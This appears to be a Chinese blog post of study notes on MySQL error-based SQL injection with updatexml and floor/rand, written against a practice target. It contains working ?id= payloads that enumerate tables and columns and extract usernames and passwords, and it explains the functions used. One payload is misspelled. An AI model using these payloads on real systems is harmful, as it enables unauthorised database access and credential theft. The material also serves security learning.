sql知识总结二(接上)

2.updatexml报错注入

(1)判断字符型/数字型

如果是字符型再判断闭合方式(备注:结尾加--+看是否闭合,若页面正常执行则闭合完成)

?id=1") and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

concat() 合并字符

优先执行彩色部分命令

?id=1" and 1=updatexml(1,concat('~',(select database())),3)--+

?id=1") and 1=updataxml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3)

?id=1") and 1=updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3) --+

?id=1")and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),1,30) from users)),3)--+

显示1~30字符

?id=1")and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),30,30) from users)),3)--+

#显示30~50字符,第30 个字符为

(2)靶机用户名密码存放位置的表名和列名

数据库information_schema中的数据表tables下数据列table_name和数据表columns下数据列column_name

(3)函数

database()数据库库名

group_concat() 把查询到的结果合并到一行显示

concat() 合并字符

substring(),00,30 从00个字符开始显示30个字符

3.floor报错注入

(1)涉及到的函数

rand()函数,随机返回0~1间的小数

floor()函数,小数向下取整数。 向上取整数ceiling()

concat_ws()函数,将括号内数据用第一个字段连接起来

group by 分组

as 别名

count(),汇总统计数量

limit,这里用于显示指定行数

rand()函数

>select rand();计算结果在0~1之间

>select rand()*2; 计算结果在0~2之间

>select rand() from users; 根据users的行数随机显示结果

floor()函数

>select floor(rand()*2); 结果随机为0或1

concat_ws函数,将括号内数据用第一个字段连接起来

>select concat_ws('-',(select database()),floor(rand()*2);

相关推荐
野生技术架构师几秒前
掌握SQL窗口函数,轻松处理复杂数据分析
数据库·sql·数据分析
会飞的大可11 分钟前
NoSQL:从原理到实践的全景指南
数据库·nosql
刘~浪地球38 分钟前
Redis 从入门到精通(四):字符串操作详解
数据库·redis·缓存
荒川之神1 小时前
MySQL 商品拉链表 完整最终版(配备了全套存储过程)
数据库·mysql
admin and root1 小时前
从资产收集FUZZ接口到SQL注入案例
网络·数据库·sql·安全·web安全·渗透测试·log4j
我真会写代码1 小时前
MySQL关键词全面总结(含用法+避坑指南)
数据库·mysql·索引
rainy雨1 小时前
精益数据分析系统功能拆解:如何用精益数据分析解决指标虚高难题与初创期验证场景
大数据·数据库·人工智能·信息可视化·数据挖掘·数据分析·精益工程
tycooncool1 小时前
QT数据库(三):QSqlQuery使用
数据库·qt·oracle
小陈工1 小时前
Python Web开发入门(十):数据库迁移与版本管理——让数据库变更可控可回滚
前端·数据库·人工智能·python·sql·云原生·架构
zzh0812 小时前
MySQL主从复制读写分离笔记
数据库·mysql